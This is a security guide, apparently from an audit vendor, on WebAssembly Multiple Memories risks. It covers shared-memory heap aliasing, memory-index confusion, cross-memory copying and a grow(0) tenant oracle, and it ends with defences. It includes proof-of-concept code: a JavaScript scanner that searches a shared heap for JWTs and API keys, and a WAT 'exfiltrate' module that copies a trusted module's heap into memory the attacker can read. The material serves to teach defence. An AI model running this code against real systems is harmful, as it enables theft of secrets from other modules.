Security Guide

MCP server WebAssembly Multiple Memories security — cross-module heap aliasing via shared memory imports, memory index confusion from transpilation errors, memory.copy cross-memory exfiltration, grow() allocation count oracle in multi-tenant deployments

WebAssembly Multiple Memories (Chrome 92+, Firefox 90+, Safari 15.2+) extends the Wasm linear memory model from one memory per module to multiple named memories per module, addressable separately by any load or store instruction. This capability — designed for memory segmentation (code vs. data, GC heap vs. stack) — creates four security weaknesses when Wasm modules share memory instances, when single-memory code is migrated to multi-memory deployments without updating all instructions, or when multi-tenant Wasm platforms allow modules from different tenants to reference each other's imported memory objects.

Background: Wasm memory isolation assumptions

Standard single-memory Wasm modules have one linear memory that is private to the module instance by default. If the module does not export its memory ((export "memory" (memory 0))), the memory is inaccessible to JavaScript or other Wasm modules. This is a strong isolation guarantee for most deployments. Multiple Memories changes the landscape: modules can now import memory instances, which means a JavaScript host can pass the same WebAssembly.Memory object to multiple module instances. The Wasm spec does not prevent this — it is a deliberate design choice for performance (zero-copy buffer sharing). The security model relies on the JavaScript host to ensure that only trusted modules receive references to trusted memory objects. When an MCP server delivers Wasm to a host that does not enforce this boundary, the guarantee breaks.

Attack 1: Shared memory import aliasing gives attacker direct heap read access

If a trusted Wasm module imports a WebAssembly.Memory object and that object is also passed to an attacker-controlled module (e.g., because a plugin system shares memory for performance), the attacker module can read and write the trusted module's entire linear memory. There is no byte-level granularity — the attacker sees the full memory buffer.

// Shared memory aliasing: attacker module reads trusted module's heap
// Scenario: a plugin system passes a shared memory for zero-copy IPC

const sharedMemory = new WebAssembly.Memory({ initial: 64, maximum: 64, shared: true });

// Trusted module: stores sensitive data in memory 0 (imported sharedMemory)
const trustedModule = await WebAssembly.instantiate(trustedWasmBytes, {
  env: { memory: sharedMemory }
});

// Attacker-controlled module: also imports the same memory object
// (passed by the plugin system without realizing it gives full heap access)
const attackerModule = await WebAssembly.instantiate(attackerWasmBytes, {
  env: { memory: sharedMemory } // same object!
});

// Attacker's JavaScript: read the shared memory buffer directly
const view = new Uint8Array(sharedMemory.buffer);

// Scan for sensitive patterns in the trusted module's heap
function scanForApiKeys(memoryView) {
  const text = new TextDecoder().decode(memoryView);
  // API keys, JWT tokens, TLS session keys, decrypted payloads all
  // live in the linear memory of the trusted module
  const jwtPattern = /eyJ[A-Za-z0-9+/=]{20,}/g;
  const apiKeyPattern = /sk-[A-Za-z0-9]{48}/g;
  return {
    jwts: [...text.matchAll(jwtPattern)].map(m => m[0]),
    apiKeys: [...text.matchAll(apiKeyPattern)].map(m => m[0])
  };
}

// This requires no Wasm instruction tricks — pure JavaScript buffer read
// The trusted module's heap is fully exposed if the memory is shared

Zero-copy IPC is a security trap: The common pattern of passing a shared WebAssembly.Memory between modules for zero-copy data transfer also gives each module full read/write access to the other's heap. There is no "read-only" memory sharing in the current Wasm spec (as of 2.0). Any memory-sharing architecture is trust-sharing architecture.

Attack 2: Memory index confusion in transpiled single-memory code

Tools like Emscripten, LLVM, and wasm-bindgen historically generated single-memory Wasm. When updating a compiled codebase to use Multiple Memories (e.g., separating the GC heap from the execution stack), the compiler must update all memory.copy, memory.fill, and memory.size instructions to specify which memory they operate on. A transpilation error where these instructions default to memory 0 (the code/stack memory) instead of memory 1 (the new data memory) can cause data to be read from or written to the wrong memory.

;; Memory index confusion: memory.copy defaulting to memory 0

;; Two-memory module: memory 0 = stack/code, memory 1 = data
(module
  (memory $stack 1)   ;; memory 0: 64KB stack
  (memory $data  4)   ;; memory 1: 256KB data

  (func $copy_user_data (param $dst i32) (param $src i32) (param $len i32)
    ;; INTENDED: copy from data memory ($data = memory 1)
    ;; BUG: memory.copy defaults to (memory 0) (memory 0) in many transpilers
    local.get $dst
    local.get $src
    local.get $len
    memory.copy ;; uses memory 0 as both source and destination!
    ;; Instead of reading from the data buffer, this reads from the stack
    ;; Stack contains: return addresses, local variable frames, crypto intermediate values
  )
  (export "copy_user_data" (func $copy_user_data))
)

// JavaScript: attacker triggers the confused copy
// Host exports memory 1 (data) for IPC — attacker reads the copy destination
// But the source was actually memory 0 (stack) due to the transpilation bug
// Result: the "copied user data" buffer now contains stack frame contents
// including function return addresses, local variables, and intermediate crypto state

Attack 3: memory.copy across memory boundaries exfiltrates sensitive heap data

The memory.copy dst_mem src_mem instruction (with explicit memory operands) can copy from memory 0 to memory 1 or vice versa. If a trusted module writes sensitive intermediate values to memory 0 (e.g., decrypted key material) and the attacker can trigger a memory.copy from that memory to an exported memory 1 that JavaScript can read, the sensitive data is exfiltrated without any JavaScript heap allocation.

;; Attacker Wasm module: cross-memory exfiltration via memory.copy
;; Assumes attacker has access to a shared memory 0 (where trusted module writes secrets)
;; and owns memory 1 which is exported for JavaScript to read

(module
  (memory (import "env" "trusted_mem") $trusted 4)  ;; mem 0: trusted module's heap
  (memory $attacker 1)                               ;; mem 1: attacker's output

  (func $exfiltrate (param $offset i32) (param $len i32)
    ;; Copy from trusted memory (mem 0) to attacker memory (mem 1)
    i32.const 0         ;; destination offset in mem 1
    local.get $offset   ;; source offset in mem 0
    local.get $len      ;; byte count
    memory.copy 1 0     ;; copy: dst=mem1, src=mem0
    ;; mem 1 now contains a copy of len bytes from offset in the trusted module's heap
  )
  (export "exfiltrate" (func $exfiltrate))
  (export "output" (memory $attacker))
)

// JavaScript: trigger exfiltration and read the result
async function exfiltrateFromTrustedHeap(trustedMemory, offset, len) {
  const attackerModule = await WebAssembly.instantiate(attackerBytes, {
    env: { trusted_mem: trustedMemory } // inject trusted memory as import
  });

  attackerModule.instance.exports.exfiltrate(offset, len);

  // Read the copied data from attacker's exported memory
  return new Uint8Array(attackerModule.instance.exports.output.buffer, 0, len);
}

// This pattern requires that:
// 1. The trusted module's WebAssembly.Memory object is accessible to the attacker's import
// 2. The attacker knows (or guesses) the offset of sensitive data in the trusted heap

Heap layout oracle: Many Wasm allocators (dlmalloc in Emscripten, wee_alloc in wasm-bindgen) have deterministic heap layouts for fixed allocation sequences. An attacker who knows the trusted module is written in a specific language with a specific allocator can predict the offset of sensitive data (e.g., the first string allocated after module init) without needing to scan the heap.

Attack 4: grow(0) probes allocation count in multi-tenant deployments

WebAssembly.Memory.grow(0) does not change the memory size — it grows by 0 pages — but it returns the current size in pages (each page = 64KB). In a multi-tenant Wasm deployment where multiple users' Wasm modules grow a shared memory on demand (allocating new pages as their data grows), calling grow(0) reveals how many pages have been allocated total. If each tenant's allocation pattern is predictable (e.g., each user session allocates exactly 2 pages), the current size divided by 2 reveals the current tenant count or session count.

// grow(0) allocation probing: multi-tenant tenant count oracle
async function probeAllocationCount(sharedMemory, pagesPerTenant) {
  // grow(0) returns current size in pages without growing
  // WebAssembly.Memory.prototype.grow is synchronous
  const currentPages = sharedMemory.grow(0);

  // If each tenant session allocates a predictable number of pages:
  // currentPages = initialPages + (activeTenants * pagesPerTenant)
  const initialPages = 1; // minimum allocation
  const activeTenants = (currentPages - initialPages) / pagesPerTenant;

  return {
    currentPages,
    estimatedTenants: Math.floor(activeTenants),
    totalHeapBytes: currentPages * 65536
  };
}

// In a serverless Wasm deployment:
// - Calling grow(0) before and after processing reveals if a new tenant was added
// - Calling it at regular intervals reveals tenant arrival/departure rate
// - Combined with response timing, identifies whether the same memory is shared
//   across requests (correlation attack)

// This is a timing side-channel: if grow() return value changes between
// two requests that should see isolated memory, the isolation is broken

SkillAudit findings for Multiple Memories attacks

CRITICALShared memory import aliasing: passing the same WebAssembly.Memory to trusted and attacker-controlled modules grants the attacker full read/write access to the trusted module's entire heap, including decrypted secrets and active session data.
HIGHMemory index confusion in transpiled code: single-to-multi-memory migration that fails to update memory.copy/fill instruction operands causes stack memory to be read as data, leaking return addresses, local variables, and intermediate crypto state.
HIGHmemory.copy cross-memory exfiltration: modules with access to a trusted module's imported memory can copy sensitive heap regions to an attacker-owned exported memory, accessible as a JavaScript ArrayBuffer.
MEDIUMgrow(0) tenant count oracle: in multi-tenant shared-memory deployments, grow(0) returning the current page count allows inferring active tenant/session count and detecting isolation boundary violations.

Defences

Never share WebAssembly.Memory between modules from different trust domains: The fundamental rule for multi-memory deployments. Each trusted module should receive a unique WebAssembly.Memory instance. If data must be shared between modules for performance, use structured message passing (postMessage with Transferable objects) rather than direct memory sharing.

Audit memory operands in transpiled multi-memory code: When migrating a single-memory Wasm module to multiple memories, verify that every memory.copy, memory.fill, memory.size, and memory.grow instruction has explicit memory operands pointing to the intended memory index. Do not rely on implicit default (memory 0) after the migration.

Do not export memory from modules handling sensitive data: A module that processes authentication tokens, decrypted private keys, or user PII should not export its WebAssembly.Memory. If IPC is required, use exported getter functions that copy only specific fields rather than providing a raw memory buffer.

Isolate multi-tenant Wasm in separate module instances: Each tenant session should receive its own WebAssembly.Instance with its own WebAssembly.Memory allocated independently. Avoid pooling memory instances across tenant sessions even for read-only reference data. The grow(0) oracle and aliasing attacks both require that the same memory object be shared; per-instance allocation eliminates both.

Related: Wasm Relaxed SIMD security · Wasm Component Model (WASI) security · MCP security checklist